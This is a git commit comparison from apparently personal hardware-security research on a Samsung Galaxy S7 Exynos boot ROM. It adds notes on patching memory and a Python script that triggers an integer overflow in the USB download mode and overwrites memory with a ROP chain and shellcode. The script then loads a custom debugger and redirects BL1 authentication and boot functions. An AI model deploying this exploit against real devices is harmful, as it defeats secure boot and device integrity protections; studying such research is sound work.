Compare commits
6 Commits
0c84503e47
...
44ebe96d86
Author | SHA1 | Date | |
---|---|---|---|
|
44ebe96d86 | ||
|
3b89bec190 | ||
|
d187b06980 | ||
|
9b12fe8c33 | ||
|
26bb5a5718 | ||
|
697a2a6f4f |
@ -232,6 +232,30 @@ So, I've written something to dump the location of thte TTBR0_EL3 table, before
|
|||||||
df['TTBR0_EL3'] = [blub]
|
df['TTBR0_EL3'] = [blub]
|
||||||
df.to_pickle('ttbr0_el3.pkl')
|
df.to_pickle('ttbr0_el3.pkl')
|
||||||
|
|
||||||
|
I tried modifying some code to write text to the screen. In order to view whether this would at all be possible, I tried modifying code that would alter the message printed when booting normally (it would print: USB RECOVERY MODE). But it would appear that this is already in space that is by then not accessible anymore. The 'str' function crashes the device. Doesn't really matter where I do this, but the space seems immutable.. The movz and movk is because I was having issues moving data into registers.
|
||||||
|
|
||||||
|
.. code:: python
|
||||||
|
|
||||||
|
# Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite
|
||||||
|
for i in range(0x8f008cb8, 0x8f008d14, 4):
|
||||||
|
self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5')
|
||||||
|
#self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
|
||||||
|
|
||||||
|
# Write opcode that writes 'aaaaaaaa' at 0x8f06ab10
|
||||||
|
shellcode = f"""
|
||||||
|
// Load the target address (0x8f06ab10) into x21
|
||||||
|
movz x21, #0x8f06 // Load the high half of the address
|
||||||
|
movk x21, #0xab10, lsl #16 // Load the low half of the address
|
||||||
|
|
||||||
|
// Load the value 'aaaa' (0x6161616161616161) into x22
|
||||||
|
movz x20, #0xbeef
|
||||||
|
|
||||||
|
// Write the contents of x20 to the bytes where x21 points to
|
||||||
|
str x20, [x21]
|
||||||
|
"""
|
||||||
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||||
|
self.cd.memwrite_region(0x8f008cb8, shellcode)
|
||||||
|
|
||||||
|
It would appear that I'm currently only able to modify code before executing any part of BL33. I'm as of yet unable to return to the debugger at any point in BL33.
|
||||||
|
|
||||||
|
|
||||||
|
@ -41,7 +41,7 @@ TARGET_OFFSETS = {
|
|||||||
def wait_for_device():
|
def wait_for_device():
|
||||||
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
|
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def wait_disconnect():
|
def wait_disconnect():
|
||||||
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
|
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
|
||||||
pass
|
pass
|
||||||
@ -78,7 +78,7 @@ class ExynosDevice():
|
|||||||
continue
|
continue
|
||||||
break
|
break
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.handle.getDevice().getSerialNumber()
|
self.handle.getDevice().getSerialNumber()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
|
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
|
||||||
@ -86,11 +86,11 @@ class ExynosDevice():
|
|||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
else:
|
else:
|
||||||
raise e
|
raise e
|
||||||
|
|
||||||
# claim usb interface
|
# claim usb interface
|
||||||
self.handle.claimInterface(0)
|
self.handle.claimInterface(0)
|
||||||
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
|
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
|
||||||
|
|
||||||
def disconnect(self):
|
def disconnect(self):
|
||||||
"""Disconnect the device"""
|
"""Disconnect the device"""
|
||||||
self.handle.releaseInterface(0)
|
self.handle.releaseInterface(0)
|
||||||
@ -110,7 +110,7 @@ class ExynosDevice():
|
|||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
|
||||||
assert(res == 0)
|
assert(res == 0)
|
||||||
return transferred.value
|
return transferred.value
|
||||||
|
|
||||||
def test_bug_2(self):
|
def test_bug_2(self):
|
||||||
"""Interger overflow in last packet if reamining size is 1."""
|
"""Interger overflow in last packet if reamining size is 1."""
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
@ -118,11 +118,11 @@ class ExynosDevice():
|
|||||||
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
||||||
assert res == 0
|
assert res == 0
|
||||||
|
|
||||||
payload = b"\xaa" * 0x200
|
payload = b"\xaa" * 0x200
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
||||||
assert res == 0
|
assert res == 0
|
||||||
|
|
||||||
payload = b"\xaa" * 0x200
|
payload = b"\xaa" * 0x200
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
||||||
while True:
|
while True:
|
||||||
@ -136,26 +136,26 @@ class ExynosDevice():
|
|||||||
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
||||||
|
|
||||||
assert (len(payload) == BLOCK_SIZE)
|
assert (len(payload) == BLOCK_SIZE)
|
||||||
res = self.write(payload, MAX_PAYLOAD_SIZE)
|
res = self.write(payload, MAX_PAYLOAD_SIZE)
|
||||||
|
|
||||||
for i in range(200):
|
for i in range(200):
|
||||||
print(hex(self.send_empty_transfer()))
|
print(hex(self.send_empty_transfer()))
|
||||||
|
|
||||||
print('Bug probably available')
|
print('Bug probably available')
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
|
|
||||||
def send_normal_stage(self, payload):
|
def send_normal_stage(self, payload):
|
||||||
"""Send next boot stage to the device"""
|
"""Send next boot stage to the device"""
|
||||||
# construct dl_data
|
# construct dl_data
|
||||||
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
|
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
|
||||||
dpayload = dpayload + payload + b"\x00" * 2 # add footer
|
dpayload = dpayload + payload + b"\x00" * 2 # add footer
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
for block in range(0, len(dpayload), BLOCK_SIZE):
|
for block in range(0, len(dpayload), BLOCK_SIZE):
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
|
||||||
assert res == 0, "Error sending payload"
|
assert res == 0, "Error sending payload"
|
||||||
p_ok("Sent stage")
|
p_ok("Sent stage")
|
||||||
|
|
||||||
|
|
||||||
def unsecure_boot(self, exploit=False):
|
def unsecure_boot(self, exploit=False):
|
||||||
'''
|
'''
|
||||||
@ -183,29 +183,29 @@ class ExynosDevice():
|
|||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
self.connect_device()
|
self.connect_device()
|
||||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
||||||
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def exploit(self, payload: bytes):
|
def exploit(self, payload: bytes):
|
||||||
'''
|
'''
|
||||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||||
'''
|
'''
|
||||||
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
||||||
|
|
||||||
current_offset = TARGET_OFFSETS[self.target][0]
|
current_offset = TARGET_OFFSETS[self.target][0]
|
||||||
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
|
|
||||||
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
||||||
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
||||||
max_payload_size = 0x100000000 - size_to_overflow
|
max_payload_size = 0x100000000 - size_to_overflow
|
||||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||||
|
|
||||||
# Assert that payload is 502 bytes
|
# Assert that payload is 502 bytes
|
||||||
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
||||||
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
|
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
|
||||||
|
|
||||||
# First send payload to trigger the bug
|
# First send payload to trigger the bug
|
||||||
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
||||||
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
||||||
@ -213,7 +213,7 @@ class ExynosDevice():
|
|||||||
assert res == 0, "Error triggering payload"
|
assert res == 0, "Error triggering payload"
|
||||||
assert transferred.value == len(bug_payload), "Invalid transfered size"
|
assert transferred.value == len(bug_payload), "Invalid transfered size"
|
||||||
current_offset += len(bug_payload) - 8 # Remove header
|
current_offset += len(bug_payload) - 8 # Remove header
|
||||||
|
|
||||||
cnt = 0
|
cnt = 0
|
||||||
while True:
|
while True:
|
||||||
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
||||||
@ -224,7 +224,7 @@ class ExynosDevice():
|
|||||||
if current_offset > 0x100000000:
|
if current_offset > 0x100000000:
|
||||||
current_offset = current_offset - 0x100000000 #reset 32 byte integer
|
current_offset = current_offset - 0x100000000 #reset 32 byte integer
|
||||||
print(f"{cnt} {hex(current_offset)}")
|
print(f"{cnt} {hex(current_offset)}")
|
||||||
|
|
||||||
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
|
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
|
||||||
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
|
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
|
||||||
if remaining > BLOCK_SIZE:
|
if remaining > BLOCK_SIZE:
|
||||||
@ -233,7 +233,7 @@ class ExynosDevice():
|
|||||||
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
|
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
|
||||||
cnt += 1
|
cnt += 1
|
||||||
print(f"{cnt} {hex(current_offset)}")
|
print(f"{cnt} {hex(current_offset)}")
|
||||||
|
|
||||||
# Build ROP chain.
|
# Build ROP chain.
|
||||||
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
|
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
|
||||||
transferred = ctypes.c_int(0)
|
transferred = ctypes.c_int(0)
|
||||||
@ -266,7 +266,7 @@ class ExynosDevice():
|
|||||||
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
|
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
|
||||||
concrete_device.ga_storage_location = 0x206d000
|
concrete_device.ga_storage_location = 0x206d000
|
||||||
concrete_device.ga_stack_location = 0x206b000
|
concrete_device.ga_stack_location = 0x206b000
|
||||||
|
|
||||||
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
||||||
concrete_device.arch_dbg.read = self.usb_read
|
concrete_device.arch_dbg.read = self.usb_read
|
||||||
concrete_device.arch_dbg.write = self.usb_write
|
concrete_device.arch_dbg.write = self.usb_write
|
||||||
@ -287,14 +287,14 @@ class ExynosDevice():
|
|||||||
p = p32(count) + b"\xaa" * (0x200 - 4)
|
p = p32(count) + b"\xaa" * (0x200 - 4)
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
|
||||||
assert res == 0, f"Error sending data ({res})"
|
assert res == 0, f"Error sending data ({res})"
|
||||||
|
|
||||||
def _recv_data():
|
def _recv_data():
|
||||||
transferred.value = 0
|
transferred.value = 0
|
||||||
buf = ctypes.c_buffer(b"", 0x200)
|
buf = ctypes.c_buffer(b"", 0x200)
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
|
||||||
assert res == 0, f"Error receiving data ({res})"
|
assert res == 0, f"Error receiving data ({res})"
|
||||||
hexdump(buf.raw)
|
hexdump(buf.raw)
|
||||||
|
|
||||||
# Should have received some bytes
|
# Should have received some bytes
|
||||||
while True:
|
while True:
|
||||||
_send_data()
|
_send_data()
|
||||||
@ -323,7 +323,7 @@ class ExynosDevice():
|
|||||||
"""
|
"""
|
||||||
Sets up guppy debugger on the device itself.
|
Sets up guppy debugger on the device itself.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _setup_debugger():
|
def _setup_debugger():
|
||||||
'''
|
'''
|
||||||
Setup the debugger as a concrete device
|
Setup the debugger as a concrete device
|
||||||
@ -351,15 +351,15 @@ class ExynosDevice():
|
|||||||
self.usb_write(debugger[block:block+0x200])
|
self.usb_write(debugger[block:block+0x200])
|
||||||
# time.sleep(.5) # Wait a little bit
|
# time.sleep(.5) # Wait a little bit
|
||||||
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
|
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
|
||||||
|
|
||||||
# Test basic functionality
|
# Test basic functionality
|
||||||
self.usb_write(b"PING")
|
self.usb_write(b"PING")
|
||||||
r = self.usb_read(0x200)
|
r = self.usb_read(0x200)
|
||||||
assert r == b"PONG", f"Invalid response from device: {r}"
|
assert r == b"PONG", f"Invalid response from device: {r}"
|
||||||
|
|
||||||
_initial_run_debugger()
|
_initial_run_debugger()
|
||||||
_setup_debugger()
|
_setup_debugger()
|
||||||
|
|
||||||
|
|
||||||
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
|
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
|
||||||
"""
|
"""
|
||||||
@ -388,7 +388,7 @@ class ExynosDevice():
|
|||||||
self.cd.restore_stack_and_jump(entry)
|
self.cd.restore_stack_and_jump(entry)
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||||
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
||||||
|
|
||||||
|
|
||||||
def dumb_interact(self, dump_imems=False):
|
def dumb_interact(self, dump_imems=False):
|
||||||
'''
|
'''
|
||||||
@ -398,7 +398,7 @@ class ExynosDevice():
|
|||||||
self.cd.arch_dbg.state.auto_sync_special = False
|
self.cd.arch_dbg.state.auto_sync_special = False
|
||||||
logger.debug('State after setting up initial debugger')
|
logger.debug('State after setting up initial debugger')
|
||||||
self.cd.arch_dbg.state.print_ctx()
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
def first_debugger():
|
def first_debugger():
|
||||||
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
||||||
self.cd.memwrite_region(0x2069000, debugger)
|
self.cd.memwrite_region(0x2069000, debugger)
|
||||||
@ -412,7 +412,7 @@ class ExynosDevice():
|
|||||||
### Get whereabouts of the debugger and current processor state
|
### Get whereabouts of the debugger and current processor state
|
||||||
logger.debug('State after relocating debugger')
|
logger.debug('State after relocating debugger')
|
||||||
self.cd.arch_dbg.state.print_ctx()
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
def memdump_imem():
|
def memdump_imem():
|
||||||
"""
|
"""
|
||||||
Dumps the internal memory of the device (0x2020000 - 0x2070000).
|
Dumps the internal memory of the device (0x2020000 - 0x2070000).
|
||||||
@ -422,7 +422,7 @@ class ExynosDevice():
|
|||||||
# print(hex(block))
|
# print(hex(block))
|
||||||
dumped += self.cd.memdump_region(block, 0x200)
|
dumped += self.cd.memdump_region(block, 0x200)
|
||||||
return dumped
|
return dumped
|
||||||
|
|
||||||
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
||||||
def auth_bl1(lr=0x2069000):
|
def auth_bl1(lr=0x2069000):
|
||||||
# Load the firmware
|
# Load the firmware
|
||||||
@ -432,67 +432,67 @@ class ExynosDevice():
|
|||||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||||
|
|
||||||
BOOT_BL1 = 0x00019310 # Location of the boot function
|
BOOT_BL1 = 0x00019310 # Location of the boot function
|
||||||
def boot_bl1(lr=0x2069000):
|
def boot_bl1(lr=0x2069000):
|
||||||
self.cd.arch_dbg.state.LR = lr
|
self.cd.arch_dbg.state.LR = lr
|
||||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
|
|
||||||
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
|
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
|
||||||
def jump_bl1(lr):
|
def jump_bl1(lr):
|
||||||
self.cd.arch_dbg.state.LR = lr
|
self.cd.arch_dbg.state.LR = lr
|
||||||
self.cd.restore_stack_and_jump(JUMP_BL1)
|
self.cd.restore_stack_and_jump(JUMP_BL1)
|
||||||
|
|
||||||
# Always hijack rom_usb_download function:
|
# Always hijack rom_usb_download function:
|
||||||
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
|
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
|
||||||
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
|
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
|
||||||
|
|
||||||
# Try loading bl1
|
# Try loading bl1
|
||||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||||
self.cd.memwrite_region(0x02021800, bl1)
|
self.cd.memwrite_region(0x02021800, bl1)
|
||||||
self.usb_write(b"FLSH") # Flush cache, as Frederic does
|
self.usb_write(b"FLSH") # Flush cache, as Frederic does
|
||||||
self.cd.test_connection()
|
self.cd.test_connection()
|
||||||
auth_bl1(DEBUGGER_ADDR)
|
auth_bl1(DEBUGGER_ADDR)
|
||||||
# boot_bl1(DEBUGGER_ADDR)
|
# boot_bl1(DEBUGGER_ADDR)
|
||||||
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
|
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
|
||||||
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
||||||
jump_bl1(DEBUGGER_ADDR)
|
jump_bl1(DEBUGGER_ADDR)
|
||||||
|
|
||||||
# Returns on usb_download function
|
# Returns on usb_download function
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
self.cd.arch_dbg.state.print_ctx()
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
||||||
bl31 = open("../S7/bl31.bin", "rb").read()
|
bl31 = open("../S7/bl31.bin", "rb").read()
|
||||||
self.cd.memwrite_region(0x02024000, bl31)
|
self.cd.memwrite_region(0x02024000, bl31)
|
||||||
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
|
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
|
||||||
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
|
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
|
||||||
|
|
||||||
self.cd.arch_dbg.state.X0 = 0
|
self.cd.arch_dbg.state.X0 = 0
|
||||||
self.cd.restore_stack_and_jump(0x020219c8)
|
self.cd.restore_stack_and_jump(0x020219c8)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
|
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
|
||||||
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
|
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
|
||||||
|
|
||||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||||
# self.cd.restore_stack_and_jump(0x02022a08)
|
# self.cd.restore_stack_and_jump(0x02022a08)
|
||||||
# Patches
|
# Patches
|
||||||
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
||||||
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
||||||
|
|
||||||
# Patch stupid error function
|
# Patch stupid error function
|
||||||
# self.usb_write(b"FLSH") # Flush cache
|
# self.usb_write(b"FLSH") # Flush cache
|
||||||
|
|
||||||
# Download next stage?
|
# Download next stage?
|
||||||
lr = self.cd.arch_dbg.state.LR
|
lr = self.cd.arch_dbg.state.LR
|
||||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# Overwrite jump back to the debugger from functions encountered during jump_bl1
|
# Overwrite jump back to the debugger from functions encountered during jump_bl1
|
||||||
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
||||||
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
|
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
|
||||||
|
|
||||||
def hijack_brom_weird():
|
def hijack_brom_weird():
|
||||||
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
||||||
self.cd.restore_stack_and_jump(0x00000314)
|
self.cd.restore_stack_and_jump(0x00000314)
|
||||||
@ -509,14 +509,14 @@ class ExynosDevice():
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
pass
|
pass
|
||||||
handle_weird_brom()
|
handle_weird_brom()
|
||||||
|
|
||||||
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
|
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
|
||||||
# self.cd.jump_to(0x2069000)
|
# self.cd.jump_to(0x2069000)
|
||||||
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
# self.cd.fetch_special_regs()
|
# self.cd.fetch_special_regs()
|
||||||
|
|
||||||
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
|
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
|
||||||
|
|
||||||
self.cd.arch_dbg.state.X0 = 1
|
self.cd.arch_dbg.state.X0 = 1
|
||||||
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
|
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
|
||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
@ -524,7 +524,7 @@ class ExynosDevice():
|
|||||||
self.cd.arch_dbg.state.LR = 0x2069000
|
self.cd.arch_dbg.state.LR = 0x2069000
|
||||||
self.cd.restore_stack_and_jump(0x00000314)
|
self.cd.restore_stack_and_jump(0x00000314)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
### UXN and PXN seem to be present over the USB stack (02021800+)
|
### UXN and PXN seem to be present over the USB stack (02021800+)
|
||||||
shellcode = f"""
|
shellcode = f"""
|
||||||
ldr x0, debugger_addr
|
ldr x0, debugger_addr
|
||||||
@ -540,7 +540,7 @@ class ExynosDevice():
|
|||||||
|
|
||||||
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
|
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
|
||||||
# # Write bl31 at 0x02021800 and authenticate
|
